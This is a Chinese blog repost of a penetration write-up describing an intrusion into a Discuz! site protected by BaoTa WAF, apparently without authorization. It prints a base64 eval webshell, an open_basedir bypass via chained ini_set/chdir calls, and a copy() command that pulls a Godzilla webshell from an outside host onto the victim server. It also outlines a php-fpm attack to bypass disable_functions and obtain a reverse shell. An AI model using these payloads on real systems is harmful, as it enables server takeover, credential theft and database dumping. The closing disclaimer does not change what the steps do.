实战 | 一次利用哥斯拉马绕过宝塔waf
2022-8-1 00:1:41 Author: 橘猫学安全(查看原文) 阅读量:90 收藏

作者:鼹鼠Yanshu    原文地址:https://xz.aliyun.com/t/10996

这次渗透的主站是 一个Discuz!3.4 的搭建 违法招piao 网站, 配置有宝塔WAF

用 Discuz!ML 3.X 的漏洞进行攻击,但是没有成功

发现主站外链会有一个发卡网,引导人们来这充值,是 某某发卡网,而且域名指向也是主站的ip,两个网站在同一个 ,此处忘记截图了

网上有通杀payload,写shell的过程在这里省略了

由于网站存在宝塔WAF ,写入shell 必须变形一下,将命令进行base64编码在传进去

<?php @eval(base64_decode($_POST['yanshu']));?>

在phpinfo()里可以看到,宝塔默认会设置 open_basedir 以及 disable_functions,导致蚁剑的shell直接连接之后不大好用,命令执行不了

绕过 open_basedir 查看文件

利用 ini_set() 来 bypass open_basedir 来获取路径名和目录内容,base64 编码之后执行,发现宝塔目录下还有其他站点目录

eval("mkdir('1');chdir('1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/www/wwwroot'));");

哥斯拉管理webshell

为了方便查看文件 ,使用哥斯拉马,加密器选择PHP_EVAL_XOR_BASE64,用copy命令传到服务器中,这样流量就可以不会被宝塔waf拦截了

copy('http://xxxx/g.php','/www/wwwroot/xxx.com/g.php');

哥斯拉马可以自动实现bypass openbase_dir ,读取数据库 用户名密码,可以更改管理员用户进后台或者脱库

绕过 disable_functions 执行命令

disable_functions 禁用了 putenv()、mail() 、pcntl_exec() 等函数,环境是php5.6,导致很多常规bypass的方法都用不了

网站是使用 nginx+php5.6 ,用攻击 php-fpm的办法来bypass,攻击原理可以看 参考链接

先找到php-fpm的配置 如:/www/server/php/56/etc/php-fpm.conf

或者看nginx的配置 ,得到 php-fpm 的位置 unix:/tmp/php-cgi-56.sock

首先 选择 PAttackFPM 将模块加载并执行

再利用哥斯拉马中 bypass disable_functions 的模块 ,成功执行命令

获取反弹 shell ,可以进一步尝试对主机进行提权了

作者提供的文库链接:https://pan.baidu.com/s/1Le14YbNIIVpNICZ-kdkuVw
提取码:e68y

解压密码 www.ddosi.com

参考文章:

https://xz.aliyun.com/t/9295

https://blog.csdn.net/qq_38154820/article/details/106330106

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

如有侵权,请联系删除

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495331&idx=1&sn=94b63a0ec82de62191f0911a39b63b7a&chksm=c04d699df73ae08b946e4cf53ceea1bc7591dad0ce18a7ccffed33aa52adccb18b4b1aa78f4c#rd
如有侵权请联系:admin#unsafe.sh